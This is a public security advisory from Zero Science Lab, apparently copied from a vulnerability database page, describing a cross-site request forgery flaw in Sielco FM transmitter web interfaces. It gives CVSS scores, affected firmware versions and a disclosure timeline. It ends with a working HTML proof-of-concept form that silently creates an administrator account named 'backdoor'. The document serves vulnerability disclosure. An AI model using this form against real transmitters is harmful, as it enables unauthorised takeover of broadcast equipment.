Gjoko KrsticZSL-2023-5757Sielco Analog FM Transmitter 2.12 Cross-Site Request Forgery
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8.6 High
AI Score
Confidence
High
0.001 Low
EPSS
Percentile
24.3%
Title: Sielco Analog FM Transmitter 2.12 Cross-Site Request Forgery
Advisory ID: ZSL-2023-5757
Type: Local/Remote
Impact: Cross-Site Scripting
Risk: (4/5)
Release Date: 28.03.2023
Summary
Sielco designs and produces FM radio transmitters for professional broadcasting. The in-house laboratory develops standard and customised solutions to meet all needs. Whether digital or analogue, each product is studied to ensure reliability, resistance over time and a high standard of safety. Sielco transmitters are distributed throughout the world and serve many radios in Europe, South America, Africa, Oceania and China.
Description
The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.
Vendor
Sielco S.r.l - <https://www.sielco.org>
Affected Version
2.12 (EXC5000GX)
2.12 (EXC120GX)
2.11 (EXC300GX)
2.10 (EXC1600GX)
2.10 (EXC2000GX)
2.08 (EXC1600GX)
2.08 (EXC1000GX)
2.07 (EXC3000GX)
2.06 (EXC5000GX)
1.7.7 (EXC30GT)
1.7.4 (EXC300GT)
1.7.4 (EXC100GT)
1.7.4 (EXC5000GT)
1.6.3 (EXC1000GT)
1.5.4 (EXC120GT)
Tested On
lwIP/2.1.1
Web/3.0.3
Vendor Status
[26.01.2023] Vulnerability discovered.
[27.01.2023] Contact with the vendor and CSIRT Italia.
[27.03.2023] No response from the vendor.
[27.03.2023] No response from the CSIRT team.
[28.03.2023] Public security advisory released.
PoC
Credits
Vulnerability discovered by Gjoko Krstic - <[email protected]>
References
[1] <https://www.exploit-db.com/exploits/51364>
[2] <https://packetstormsecurity.com/files/171838/>
[3] <https://exchange.xforce.ibmcloud.com/vulnerabilities/253076>
[4] <https://exchange.xforce.ibmcloud.com/vulnerabilities/269707>
[5] <https://www.cisa.gov/news-events/ics-advisories/icsa-23-299-08>
[6] <https://nvd.nist.gov/vuln/detail/CVE-2023-45317>
[7] <https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-45317>
Changelog
[28.03.2023] - Initial release
[02.11.2023] - Added reference [1], [2], [3], [4], [5], [6] and [7]
Contact
Zero Science Lab
Web: <https://www.zeroscience.mk>
e-mail: [email protected]
<!--
Sielco Analog FM Transmitter 2.12 Cross-Site Request Forgery
Vendor: Sielco S.r.l
Product web page: https://www.sielco.org
Affected version: 2.12 (EXC5000GX)
2.12 (EXC120GX)
2.11 (EXC300GX)
2.10 (EXC1600GX)
2.10 (EXC2000GX)
2.08 (EXC1600GX)
2.08 (EXC1000GX)
2.07 (EXC3000GX)
2.06 (EXC5000GX)
1.7.7 (EXC30GT)
1.7.4 (EXC300GT)
1.7.4 (EXC100GT)
1.7.4 (EXC5000GT)
1.6.3 (EXC1000GT)
1.5.4 (EXC120GT)
Summary: Sielco designs and produces FM radio transmitters
for professional broadcasting. The in-house laboratory develops
standard and customised solutions to meet all needs. Whether
digital or analogue, each product is studied to ensure reliability,
resistance over time and a high standard of safety. Sielco
transmitters are distributed throughout the world and serve
many radios in Europe, South America, Africa, Oceania and China.
Desc: The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.
Tested on: lwIP/2.1.1
Web/3.0.3
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2023-5757
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5757.php
26.01.2023
--><html><body><p>CSRF Add Admin:
---------------
</p>
<form action="http://transmitter/protect/users.htm" method="POST">
<input name="pwd0" type="hidden" value=""/>
<input name="pwd0bis" type="hidden" value=""/>
<input name="user1" type="hidden" value=""/>
<input name="pwd1" type="hidden" value=""/>
<input name="pwd1bis" type="hidden" value=""/>
<input name="auth1" type="hidden" value=""/>
<input name="user2" type="hidden" value=""/>
<input name="pwd2" type="hidden" value=""/>
<input name="pwd2bis" type="hidden" value=""/>
<input name="auth2" type="hidden" value=""/>
<input name="user3" type="hidden" value="backdoor"/>
<input name="pwd3" type="hidden" value="backdoor123"/>
<input name="pwd3bis" type="hidden" value="backdoor123"/>
<input name="auth3" type="hidden" value="2"/>
<input type="submit" value="Adminize!"/>
</form>
</body></html>Related
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8.6 High
AI Score
Confidence
High
0.001 Low
EPSS
Percentile
24.3%